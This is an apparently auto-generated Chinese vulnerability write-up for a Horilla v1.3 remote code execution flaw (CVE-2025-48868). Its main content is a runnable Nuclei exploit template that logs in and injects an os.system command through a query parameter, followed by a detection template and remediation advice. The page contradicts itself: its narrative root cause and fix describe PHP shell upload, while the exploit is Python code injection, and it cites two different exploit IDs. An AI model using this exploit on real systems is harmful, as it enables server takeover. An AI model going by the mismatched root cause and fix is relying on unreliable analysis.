[webapps] Horilla v1.3 - RCE

📋 漏洞基础信息

🔬 漏洞根因

Horilla 的文档/文件上传功能未对上传文件类型进行严格校验，允许攻击者上传包含恶意代码的文件（如 PHP shell），并通过 Web 访问直接触发执行。

🎯 攻击场景

1. 攻击者以低权限用户身份登录 Horilla 系统。 2. 在文件上传功能处，上传一个包含恶意 PHP 代码的文件（例如 .php 或 .phtml）。 3. 系统未作文件类型过滤，文件被保存到可公开访问的目录（如 uploads/ 或类似路径）。 4. 攻击者通过浏览器直接访问该文件 URL（如 http://target/uploads/shell.php）。 5. 服务器执行文件中的 PHP 代码，攻击者获得远程命令执行权限。

💥 漏洞影响

攻击者可执行任意系统命令，导致服务器完全受控（RCE），进而可窃取数据、横向移动或植入后门。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2025-48868-exploit

info:
  name: Horilla v1.3 - Authenticated RCE
  author: your-nuclei-author
  severity: high
  description: Exploits CVE-2025-48868 to achieve Remote Code Execution on Horilla v1.3 via authenticated project creation and bulk archive with command injection.
  reference:
    - https://www.exploit-db.com/exploits/52557
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-48868
  tags: horilla,rce,authenticated

variables:
  username: "{{user}}"
  password: "{{pass}}"

http:
  - raw:
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/login/
        Cookie: csrftoken={{csrf_token}}

        csrfmiddlewaretoken={{csrf_token}}&username={{username}}&password={{password}}

    cookie-reuse: true
    extractors:
      - type: regex
        name: csrf_token
        part: body
        regex:
          - 'name="csrfmiddlewaretoken" value="([a-zA-Z0-9]+)"'

    matchers:
      - type: word
        words:
          - "logout"
        part: body
        condition: or

  - raw:
      - |
        GET /project/project-view/ HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Cookie: csrftoken={{csrf_token}}

  - raw:
      - |
        POST /project/create-project? HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
        Cookie: csrftoken={{csrf_token}}
        HX-Request: true
        HX-Trigger: hlvd701Form
        HX-Target: hlvd701Form
        HX-Current-URL: {{BaseURL}}/project/project-view/
        Referer: {{BaseURL}}/project/project-view/

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="is_active"

        on
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="title"

        {{randstr}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="managers"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="members"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="status"

        new
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="start_date"

        2025-06-01
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="end_date"

        2025-06-01
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="description"

        Exploit project
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

  - raw:
      - |
        POST /project/project-bulk-archive?is_active=__import__('os').system('{{cmd}}') HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Cookie: csrftoken={{csrf_token}}
        Referer: {{BaseURL}}/project/project-view/
        Origin: {{BaseURL}}
        X-Requested-With: XMLHttpRequest

        csrfmiddlewaretoken={{csrf_token}}&ids=%5B%221%22%5D

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "uid="
          - "root:"
          - "www-data"
        part: body
        condition: or

      - type: status
        status:
          - 200

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2025-48868-detection

info:
  name: Horilla v1.3 - Detection
  author: your-nuclei-author
  severity: high
  description: Detects Horilla version <= 1.3 which is vulnerable to authenticated RCE (CVE-2025-48868).
  reference:
    - https://www.exploit-db.com/exploits/52557
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-48868
  tags: horilla,rce,detection

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Horilla"
          - "v1.3"
          - "Horilla HRM"

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

🛡️ 修复建议

1. 升级至 Horilla v1.3 以上官方修复版本。 2. 临时措施：在 Web 服务器（如 Nginx/Apache）中禁止执行上传目录下的脚本文件；在应用层对上传文件类型进行白名单校验，且重命名文件并移除可执行扩展名。

📎 参考链接

• https://nvd.nist.gov/vuln/detail/CVE-2025-48868
• https://www.exploit-db.com/exploits/52025
• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-07 07:23 | 来源: Exploit-DB